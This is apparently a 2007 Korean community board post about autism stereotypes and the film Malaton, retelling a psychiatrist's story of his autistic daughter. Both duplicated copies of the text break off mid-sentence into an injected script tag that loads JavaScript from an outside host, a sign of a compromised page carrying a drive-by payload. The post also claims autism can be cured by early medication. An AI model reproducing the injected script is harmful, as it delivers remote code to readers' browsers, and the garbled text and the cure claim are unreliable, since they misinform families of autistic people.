영화 <말아톤>에서 보여 준 자폐증의 고정관념
작성자 : 후원회 | 조회수 : 3,428 | 작성일 : 2007년 5월 23일
<!--StartFragment-->
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>“자폐증은 불치병이 아닙니다. 자폐증을 누가 불치병으로 만들었는지 참으로 안타까운 일입니다. 말도 제대로 못하고, 힘으로 밀치며 덤벼대는 딸아이를 놓고 정신과 의사, 특수아를 교육하는 선생님, 상담가 등 소위 전문가라는 사람들이 초기진단을 ‘중증애정결핍증’이라고 하나같이 말해줍니다.많은이들이 전문가들의 판단을 믿고 몇 해를 지나다가 7.8세가 되어서야 ‘자폐증’이라는 판정을 받습니다.초기에 정확한 진단을 받고 약을 투여했다면 치료가 가능한데도 무지한 전문가들의 오진 탓으로 때를 놓칩니다.그런대로라면 제 아이도 끝내 불치병으로 만들었을 것입니다.” 한 정신과 의사가 덕영교육재단에서 들려준 이야기이다.그는 이어서,</FONT></SPAN><FONT face=돋움체> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체> “저는 증조부 때부터 정신과 의사의 직업을 대물림하는 가정에서 태어났습니다. 저는 대물림하는 직업과는 다른 직업을 선택하고자 했습니다. 그런데 한국인 재미교포와 결혼을 하고 사랑하는 딸 상희를 얻었습니다.‘자폐증’이라는 것을 알고는 그 딸아이의 생명이 되어주기 위해 제 직업도 대물림을 할 수밖에 없었습니다. 다음은 ‘상희’가 한국에서 있을 때, 상희 친구로부터 전해 온 한 통의 편지입니다. 이 편지는 저에게 큰 충격이었습니다. 편지 내용을 소개하겠습니다.”</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>‘학교에서 제 친구 상희는 선생님과 대화를 하기 위해 다가갔습니다. 대화의 표현이 어둔한 상희를 선생님은 이해하지 못했나 봅니다. 선생님은 상희를 세게 밀치는 과정에서 선생님이 넘어졌고 그 광경을 목격한 교장선생님이 무슨 큰일이나 난 것처럼 상희를 질질 끌고 복도로 나갔습니다</FONT>. <FONT face=돋움체>어른들의 잘못 이해로 제 친구가 일방적으로 당할 것 같고 저는 이 상황을 자세히 아버지께 알려야 한다고 판단했습니다.’</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 상희 아버지는 편지를 받고 딸의 생명을 위해 대물림하듯 정신과 의사가 되었고, 미국으로 옮겨온 상희는 치료 덕분에 자폐증으로부터 해방되었다고 했다. 청중들은 그에게 박수를 보냈고 잠시 침묵이 흘렀다. 정신과 의사는 울먹이며, 특수교육을 담당하는 선생님과 교장선생님이 자폐아에 대한 이해와 관심이 부족했다는 것에 분노를 느낀다고 했다. 그러면서 서울대 병이 걸린</FONT> <FONT face=돋움체>한국의 어른들은 아이들을 죽이고 있다고 했다</FONT>. </SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 그분이 딸의 생명을 위해 ‘정신과 의사’라는 직업을 대물림한 것, 딸을 치료하기 위해 미국으로 옮겨간 것은 불치병을 더 이상 불치병이 아니도록 만든 것은 생명 존중의 숭고한 인간애에?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>“자폐증은 불치병이 아닙니다. 자폐증을 누가 불치병으로 만들었는지 참으로 안타까운 일입니다. 말도 제대로 못하고, 힘으로 밀치며 덤벼대는 딸아이를 놓고 정신과 의사, 특수아를 교육하는 선생님, 상담가 등 소위 전문가라는 사람들이 초기진단을 ‘중증애정결핍증’이라고 하나같이 말해줍니다.많은이들이 전문가들의 판단을 믿고 몇 해를 지나다가 7.8세가 되어서야 ‘자폐증’이라는 판정을 받습니다.초기에 정확한 진단을 받고 약을 투여했다면 치료가 가능한데도 무지한 전문가들의 오진 탓으로 때를 놓칩니다.그런대로라면 제 아이도 끝내 불치병으로 만들었을 것입니다.” 한 정신과 의사가 덕영교육재단에서 들려준 이야기이다.그는 이어서,</FONT></SPAN><FONT face=돋움체> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체> “저는 증조부 때부터 정신과 의사의 직업을 대물림하는 가정에서 태어났습니다. 저는 대물림하는 직업과는 다른 직업을 선택하고자 했습니다. 그런데 한국인 재미교포와 결혼을 하고 사랑하는 딸 상희를 얻었습니다.‘자폐증’이라는 것을 알고는 그 딸아이의 생명이 되어주기 위해 제 직업도 대물림을 할 수밖에 없었습니다. 다음은 ‘상희’가 한국에서 있을 때, 상희 친구로부터 전해 온 한 통의 편지입니다. 이 편지는 저에게 큰 충격이었습니다. 편지 내용을 소개하겠습니다.”</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>‘학교에서 제 친구 상희는 선생님과 대화를 하기 위해 다가갔습니다. 대화의 표현이 어둔한 상희를 선생님은 이해하지 못했나 봅니다. 선생님은 상희를 세게 밀치는 과정에서 선생님이 넘어졌고 그 광경을 목격한 교장선생님이 무슨 큰일이나 난 것처럼 상희를 질질 끌고 복도로 나갔습니다</FONT>. <FONT face=돋움체>어른들의 잘못 이해로 제 친구가 일방적으로 당할 것 같고 저는 이 상황을 자세히 아버지께 알려야 한다고 판단했습니다.’</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 상희 아버지는 편지를 받고 딸의 생명을 위해 대물림하듯 정신과 의사가 되었고, 미국으로 옮겨온 상희는 치료 덕분에 자폐증으로부터 해방되었다고 했다. 청중들은 그에게 박수를 보냈고 잠시 침묵이 흘렀다. 정신과 의사는 울먹이며, 특수교육을 담당하는 선생님과 교장선생님이 자폐아에 대한 이해와 관심이 부족했다는 것에 분노를 느낀다고 했다. 그러면서 서울대 병이 걸린</FONT> <FONT face=돋움체>한국의 어른들은 아이들을 죽이고 있다고 했다</FONT>. </SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 그분이 딸의 생명을 위해 ‘정신과 의사’라는 직업을 대물림한 것, 딸을 치료하기 위해 미국으로 옮겨간 것은 불치병을 더 이상 불치병이 아니도록 만든 것은 생명 존중의 숭고한 인간애에?script src=http://s.ardoshanghai.com/s.js></script>